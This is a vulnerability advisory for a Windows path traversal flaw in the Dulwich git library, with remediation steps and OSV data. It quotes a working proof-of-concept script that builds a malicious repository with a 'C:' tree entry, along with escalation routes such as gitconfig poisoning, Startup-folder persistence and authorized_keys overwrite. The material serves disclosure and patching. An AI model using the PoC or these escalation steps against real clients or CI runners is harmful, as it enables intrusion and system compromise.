GHSA-8mcx-5rqc-vhmf: Dulwich Remote Code Execution Vulnerability

HIGH
CVSS 8.8
CWE-22
Published
Advisory Summary

GHSA-8mcx-5rqc-vhmf is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Dulwich libraries in the PyPI ecosystem. The issue involves arbitrary file write (rce) on windows via unvalidated drive letters in tree paths. Remediation is available by upgrading affected packages to version 1.2.9.

GHSA-8mcx-5rqc-vhmf at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-8mcx-5rqc-vhmf
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Dulwich
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-8mcx-5rqc-vhmf

To remediate this vulnerability, upgrade all affected Dulwich dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dulwich fixed: 1.2.9
pip install dulwich>=1.2.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show dulwich

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-8mcx-5rqc-vhmf, inspect your installed packages using pip:

pip show dulwich

Analyze the terminal output to locate any version of Dulwich in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.9), your application is affected.

Note: The pip show dulwich command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Dulwich, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Affected files * `dulwich/index.py` (Methods: `validate_path_element_ntfs`, `_tree_to_fs_path`) * `dulwich/porcelain/__init__.py` (Method: `_checked_worktree_path`) ### Description / Summary A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject `.git` variants, Alternate Data Streams (ADS), `git~1` short names, and reserved device names, but they completely fail to check for **DOS drive letter prefixes**. A malicious Git tree can contain an entry named `C:`. When Dulwich processes this tree on a Windows client, the string passes the `validate_path_element_ntfs` check. Later, `_tree_to_fs_path` passes this path to `os.path.join(root, b"C:\\\\Users\\\\...")`. On Windows, if the second argument to `os.path.join` contains an absolute drive letter, the `root` path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree. While the standard C `git` client explicitly blocks this via `has_dos_drive_prefix()` in `path.c`, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it. ### Potential impact This vulnerability allows an attacker to achieve **Arbitrary File Write**, which can trivially be escalated to **Remote Code Execution (RCE)** or total system compromise on the victim's Windows machine. Attack vectors include: 1. **Git Config Poisoning (RCE):** Writing a malicious `C:\\Users\\<victim>\\.gitconfig` file to set `core.sshCommand` to an arbitrary executable, granting RCE the next time the user interacts with Git. 2. **Persistence (RCE):** Dropping a malicious executable into `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\`. 3. **SSH Key Overwrite:** Writing to `C:\\Users\\<victim>\\.ssh\\authorized_keys` to compromise remote servers accessible by the victim. 4. **CI/CD Compromise:** If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets. ### Proof of Concept (PoC) The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients. ```python from dulwich.objects import Blob, Tree, Commit from dulwich.repo import Repo import os, tempfile repo_path = tempfile.mkdtemp() repo = Repo.init(repo_path) # 1. Build the payload blob. blob = Blob(); blob.data = b"pwned-by-drive-letter\\n" repo.object_store.add_object(blob) # 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt evil_txt = Tree(); evil_txt[b"evil.txt"] = (0o100644, blob.id) repo.object_store.add_object(evil_txt) victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id) repo.object_store.add_object(victim_dir) users_dir = Tree(); users_dir[b"Users"] = (0o040000, victim_dir.id) repo.object_store.add_object(users_dir) # VULNERABILITY: The "C:" directory bypasses validation c_drive = Tree(); c_drive[b"C:"] = (0o040000, users_dir.id) repo.object_store.add_object(c_drive) commit = Commit() commit.tree = c_drive.id commit.message = b"add feature" commit.author = commit.committer = b"attacker <a@evil.example>" commit.author_time = commit.commit_time = 1700000000 commit.author_timezone = commit.committer_timezone = 0 repo.object_store.add_object(commit) repo.refs[b"refs/heads/main"] = commit.id print(f"Malicious repo created at {repo_path}") print(f"Clone with: dulwich clone {repo_path} /target/win/worktree") # Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt ```

GHSA-8mcx-5rqc-vhmf Affected Dulwich Versions

1 component(s)
Fixed Versions:
1.2.9
Product / Package Ecosystem Affected Versions Fixed Version
dulwich
PyPI
< 1.2.9
1.2.9

References

Frequently Asked Questions

What is GHSA-8mcx-5rqc-vhmf?
GHSA-8mcx-5rqc-vhmf is a security vulnerability in Dulwich involving Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Dulwich versions are affected?
Affected versions include releases prior to 1.2.9 across affected packages: dulwich.
What version fixes GHSA-8mcx-5rqc-vhmf?
Upgrading to 1.2.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dulwich affected?
Yes, dulwich is affected in releases prior to 1.2.9. Upgrade your dependency to 1.2.9 or later.
What is the CVSS score of GHSA-8mcx-5rqc-vhmf?
GHSA-8mcx-5rqc-vhmf has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-8mcx-5rqc-vhmf?
GHSA-8mcx-5rqc-vhmf is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for GHSA-8mcx-5rqc-vhmf?
Run the dependency tree command: 'pip show dulwich'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8mcx-5rqc-vhmf",
  "modified" : "2026-10-02T19:14:21Z",
  "published" : "2026-10-02T19:14:21Z",
  "aliases" : [ ],
  "summary" : "Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths",
  "details" : "### Affected files\n* `dulwich/index.py` (Methods: `validate_path_element_ntfs`, `_tree_to_fs_path`)\n* `dulwich/porcelain/__init__.py` (Method: `_checked_worktree_path`)\n\n### Description / Summary\nA High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject `.git` variants, Alternate Data Streams (ADS), `git~1` short names, and reserved device names, but they completely fail to check for **DOS drive letter prefixes**.\n\nA malicious Git tree can contain an entry named `C:`. When Dulwich processes this tree on a Windows client, the string passes the `validate_path_element_ntfs` check. Later, `_tree_to_fs_path` passes this path to `os.path.join(root, b\"C:\\\\\\\\Users\\\\\\\\...\")`. \n\nOn Windows, if the second argument to `os.path.join` contains an absolute drive letter, the `root` path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.\n\nWhile the standard C `git` client explicitly blocks this via `has_dos_drive_prefix()` in `path.c`, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.\n\n### Potential impact\n\nThis vulnerability allows an attacker to achieve **Arbitrary File Write**, which can trivially be escalated to **Remote Code Execution (RCE)** or total system compromise on the victim's Windows machine.\n\nAttack vectors include:\n1. **Git Config Poisoning (RCE):** Writing a malicious `C:\\\\Users\\\\<victim>\\\\.gitconfig` file to set `core.sshCommand` to an arbitrary executable, granting RCE the next time the user interacts with Git.\n2. **Persistence (RCE):** Dropping a malicious executable into `C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\`.\n3. **SSH Key Overwrite:** Writing to `C:\\\\Users\\\\<victim>\\\\.ssh\\\\authorized_keys` to compromise remote servers accessible by the victim.\n4. **CI/CD Compromise:** If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.\n\n### Proof of Concept (PoC)\nThe following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.\n\n```python\nfrom dulwich.objects import Blob, Tree, Commit\nfrom dulwich.repo import Repo\nimport os, tempfile\n\nrepo_path = tempfile.mkdtemp()\nrepo = Repo.init(repo_path)\n\n# 1. Build the payload blob.\nblob = Blob(); blob.data = b\"pwned-by-drive-letter\\\\n\"\nrepo.object_store.add_object(blob)\n\n# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt\nevil_txt = Tree();   evil_txt[b\"evil.txt\"] = (0o100644, blob.id)\nrepo.object_store.add_object(evil_txt)\nvictim_dir = Tree(); victim_dir[b\"victim\"] = (0o040000, evil_txt.id)\nrepo.object_store.add_object(victim_dir)\nusers_dir  = Tree(); users_dir[b\"Users\"]   = (0o040000, victim_dir.id)\nrepo.object_store.add_object(users_dir)\n\n# VULNERABILITY: The \"C:\" directory bypasses validation\nc_drive    = Tree(); c_drive[b\"C:\"]        = (0o040000, users_dir.id)\nrepo.object_store.add_object(c_drive)\n\ncommit = Commit()\ncommit.tree = c_drive.id\ncommit.message = b\"add feature\"\ncommit.author = commit.committer = b\"attacker <a@evil.example>\"\ncommit.author_time = commit.commit_time = 1700000000\ncommit.author_timezone = commit.committer_timezone = 0\nrepo.object_store.add_object(commit)\nrepo.refs[b\"refs/heads/main\"] = commit.id\n\nprint(f\"Malicious repo created at {repo_path}\")\nprint(f\"Clone with: dulwich clone {repo_path} /target/win/worktree\")\n# Result: A Windows checkout of this commit writes the payload directly to C:\\\\Users\\\\victim\\\\evil.txt\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "dulwich"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/security/advisories/GHSA-8mcx-5rqc-vhmf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/commit/4ca77f9f470742ba246cd6fa07beb6d735045664"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jelmer/dulwich"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-02T19:14:21Z",
    "nvd_published_at" : null
  }
}